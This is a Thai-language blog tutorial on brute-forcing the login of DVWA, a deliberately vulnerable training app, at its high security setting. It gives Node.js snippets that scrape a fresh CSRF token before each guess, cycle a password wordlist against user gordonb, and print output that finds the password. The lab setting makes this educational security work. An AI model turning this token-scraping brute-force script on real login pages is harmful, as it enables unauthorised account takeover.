จากบทความที่แล้ว DVWA Lab1 Vulnerability Brute Force เราได้ทำการทดสอบเจาะระบบ Login ด้วยวิธีการ Brute Force แบบปรกติไปแล้ว คราวนี้เราจะมาลองแบบ High Level ที่มันเจาะยากขึ้นมาอีกหน่อย โดย Form Login ของเวปเป้าหมายเรามีการทำ CSRF Token ไปไว้ใน tag input hidden เพื่อทำการป้องกันการ Brute Force อีกชั้นนึง
ซึ่งก็คือถ้า ค่า CSRF Token จะถูก Generate มาจากทาง Server ด้วยกรรมวิธีอะไรก็ตามแต่ เมื่อมาถึง Client ถูกทำการเปลี่ยนค่า แล้วส่งกลับไปยัง Server
เมือ Server ได้ทำการตรวจสอบแล้ว พบว่า ค่า CSRF Token ที่ได้รับมาไม่ถูกต้อง ระบบจะไม่ยินยอมให้ทำการ Login ผ่าน แม้ว่า User และ Password จะถูกต้องก็ตาม
ถ้าเราทำการแก้ไขค่าใน tag นี้ แล้วทำการส่งกลับไปยัง Server ล่ะ
<input type="hidden" name="user_token" value="359f962f77f4d6f8a88238e58f7103e1">
ผลลัพธ์ก็จะฟ้องว่า CSRF token is incorrect อยู่ดี แม้ว่าจะกรอก Username และ Password ถูกก็ตาม
แต่เราต้องการให้ ระบบทำการ Brute Force หารหัสผ่านของ gordonb นั่นต้องมีการส่งค่าไป Login ซ้ำๆ แล้วจะรู้ได้ไงอ่ะว่า Server ส่งค่า CSRF Token อะไรมา ปรกติเค้าจะใช้ burp suite ช่วย แต่ผมไม่มี เลยอาศัยว่าพอเขียน Code ได้นิดหน่อย เลยมาเขียน NodeJS ลองทำ Brute Force ดู
ขั้นแรกเลย เราจะเริ่มกันจากหน้านี้
หน้านี้ก็มี CSRF Token เช่นกัน
<input type="hidden" name="user_token" value="28f1cdd2a3c3bb4685009da8111b1eda">
Script ที่ผมเขียนไว้ เอาขึ้น Github ให้ Load กันไปดูเอาเองนะครับ
const request = require("request")const cheerio = require('cheerio')const ip = `192.168.1.116`const loginUsername = 'admin'const loginPassword = 'password'const loginUrl = `http://${ip}:8080/login.php`request({url: url,method: 'GET',}, (err, res, body) => {const phpid = res.headers['set-cookie'][0].replace('path=/', '')const securityHigh = res.headers['set-cookie'][res.headers['set-cookie'].length - 1].replace('low', 'high')const scrap = cheerio.load(body)const user_token = scrap('input[name="user_token"]').val()const sessions = {phpid: phpid,securityHigh: securityHigh,userToken: user_token}})
จะเห็นว่าได้มีการดึง Cookie จาก Response Headers มาเก็บไว้ที่ phpid และ ปรับค่า security ของระบบหลังจากเราเข้าไปให้เป็น high ครับ
หลังจากนั้นเมื่อเรา Load Data ที่เป็นเนื้อหา HTML มาเรียบร้อยแล้ว เราจะทำการ Scrapping เอาค่า Value จาก input[name=“user_token”] มาใช้งาน
request({url: loginUrl,method: 'post',headers: {Cookie: `${sessions.phpid} ${sessions.securityHigh}`},form: {username: username,password: password,user_token: sessions.userToken,Login: `Login`}}, (err, res, body) => {})
ในที่นี้ก็คือนาย gordonb นั่นเอง
request({url: `http://192.168.1.116:8080/vulnerabilities/brute/`,method: 'get',headers: {Cookie: `${sessions.phpid} ${sessions.securityHigh}`},}, (err, res, body) => {const scrap = cheerio.load(body)const hacking_user_token = scrap('input[name="user_token"]').val()})
params = `http://192.168.1.116:8080/vulnerabilities/brute/?username=gordonb&password=${password}&user_token=${token}&Login=Login`const options = {url: params,method: 'get',headers: {Cookie: `${sessions.phpid} ${sessions.securityHigh}`},}request(options, (err, res, body) => {const scrap = cheerio.load(body)hacking_user_token = scrap('input[name="user_token"]').val()})
โดยเราจะทำงานไปเรื่อยๆจนกว่าจะหมด file wordlists หรือจนกว่าจะเจอรหัสผ่านที่ทำให้ เราสามารถ access เข้าสู่ระบบได้ในนาม gordonb โดยเมื่อเข้าไปแล้วเราาจะพบกับคำว่า Welcome to the password protected area
เมื่อทดลอง run script ที่เราเขียนมาตั้งแต่ต้นจะได้ผลการทำงานประมาณนี้
[nodemon] clean exit - waiting for changes before restart[nodemon] restarting due to changes...[nodemon] starting `node bruteforce_csrf.js`try username gordonb password 123456try username gordonb password 12345try username gordonb password 123456789try username gordonb password passwordtry username gordonb password iloveyoutry username gordonb password princesstry username gordonb password 1234567try username gordonb password rockyoutry username gordonb password 12345678try username gordonb password abc123{targetUser: 'gordonb',password: 'abc123',found: true,msg: 'Welcome to the password protected area gordonb',userToken: '51dbd4d66421321fb574c60830b450c5'}[nodemon] clean exit - waiting for changes before restart
สามารถ Download Source Code ที่เขียนไว้แล้ว ได้ที่นี่ครับ
รู้สึกว่า NodeJs มันช้าๆหน่วงๆ ผมน่าจะเขียนไม่ค่อยเป็นนั่นแหล่ะครับ เลยแอบคิดว่าถ้าทำด้วย python หรือ Go Lang มันน่าจะไวกว่านี้นะ
สุดท้ายนี้ไว้เจอกันใหม่โอกาสหน้าครับ ในส่วนของการเจาะระบบแบบ Command Injection กันต่อครับ บรัยยยยยยยย
Quick Links
Legal Stuff